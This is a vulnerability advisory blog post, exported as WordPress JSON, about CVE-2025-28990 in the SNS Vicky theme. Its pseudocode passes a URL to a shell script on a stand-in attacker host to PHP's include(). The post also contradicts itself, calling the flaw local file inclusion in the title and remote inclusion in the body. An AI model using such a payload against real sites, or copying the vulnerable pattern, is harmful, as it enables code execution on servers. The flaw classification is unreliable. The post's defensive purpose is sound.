{"id":57522,"date":"2025-07-05T17:34:03","date_gmt":"2025-07-05T17:34:03","guid":{"rendered":""},"modified":"2025-08-31T08:55:19","modified_gmt":"2025-08-31T14:55:19","slug":"cve-2025-28990-critical-php-local-file-inclusion-vulnerability-in-sns-vicky","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28990-critical-php-local-file-inclusion-vulnerability-in-sns-vicky\/","title":{"rendered":"<strong>CVE-2025-28990: Critical PHP Local File Inclusion Vulnerability in SNS Vicky<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity community has identified a critical vulnerability, tagged as CVE-2025-28990, affecting the popular snstheme SNS Vicky. This vulnerability, classified as a PHP Remote File Inclusion, could potentially allow attackers to include files from remote servers, leading to potential system compromise or data leakage. Given the severity and the widespread usage of the SNS Vicky, it is critical for all users and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-41691-sql-injection-vulnerability-in-os4ed-open-source-information-system-community\/\"  data-wpil-monitor-id=\"64166\">system administrators to understand the nature of this vulnerability<\/a>, implement necessary mitigation strategies, and stay updated on the latest security patches.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28990<br \/>\nSeverity: Critical, CVSS Score of 8.1<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64230\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2131034040\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>snstheme SNS Vicky | n\/a through 3.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64908\">vulnerability lies in the improper<\/a> control of filename for an include\/require statement in the PHP program of SNS Vicky. An attacker can exploit this vulnerability by manipulating the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean\/\"  data-wpil-monitor-id=\"64129\">file<\/a> name in the include\/require statement to reference a remotely hosted file. The PHP program then includes the remote file in its execution, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32454-out-of-bounds-read-in-teamcenter-visualization-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"64113\">potentially leading to execution of arbitrary code<\/a>, unauthorized access, or information disclosure.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1279489725\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following pseudocode <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49526-out-of-bounds-write-vulnerability-in-illustrator-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"75280\">illustrates a conceptual example of how the vulnerability<\/a> might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">\/\/ Malicious user input\n$userInput = &#039;http:\/\/malicious.com\/shell.php&#039;;\n\/\/ Vulnerable include\/require statement\ninclude($userInput);<\/code><\/pre>\n<p>In this example, instead of specifying a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30992-php-local-file-inclusion-vulnerability-in-thembay-puca\/\"  data-wpil-monitor-id=\"65843\">local file<\/a>, a URL to a malicious file is provided. The PHP program then includes this malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6426-executable-file-warning-vulnerability-in-firefox-for-macos\/\"  data-wpil-monitor-id=\"64291\">file in its execution<\/a> leading to unwanted consequences.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The best way to mitigate this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50213-special-element-injection-vulnerability-in-apache-airflow-providers-snowflake\/\"  data-wpil-monitor-id=\"64037\">vulnerability is to apply the security patch provided<\/a> by the vendor. If the patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer a temporary mitigation. Furthermore, it is recommended to sanitize all user inputs and avoid using user input <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50849-critical-insecure-direct-object-reference-idor-vulnerability-in-cs-cart-4-18-3\/\"  data-wpil-monitor-id=\"76560\">directly in include\/require statements to prevent such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity community has identified a critical vulnerability, tagged as CVE-2025-28990, affecting the popular snstheme SNS Vicky. This vulnerability, classified as a PHP Remote File Inclusion, could potentially allow attackers to include files from remote servers, leading to potential system compromise or data leakage. Given the severity and the widespread usage of the SNS [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57522","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57522","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57522"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57522\/revisions"}],"predecessor-version":[{"id":68996,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57522\/revisions\/68996"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57522"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57522"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57522"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57522"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57522"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57522"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57522"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57522"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57522"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}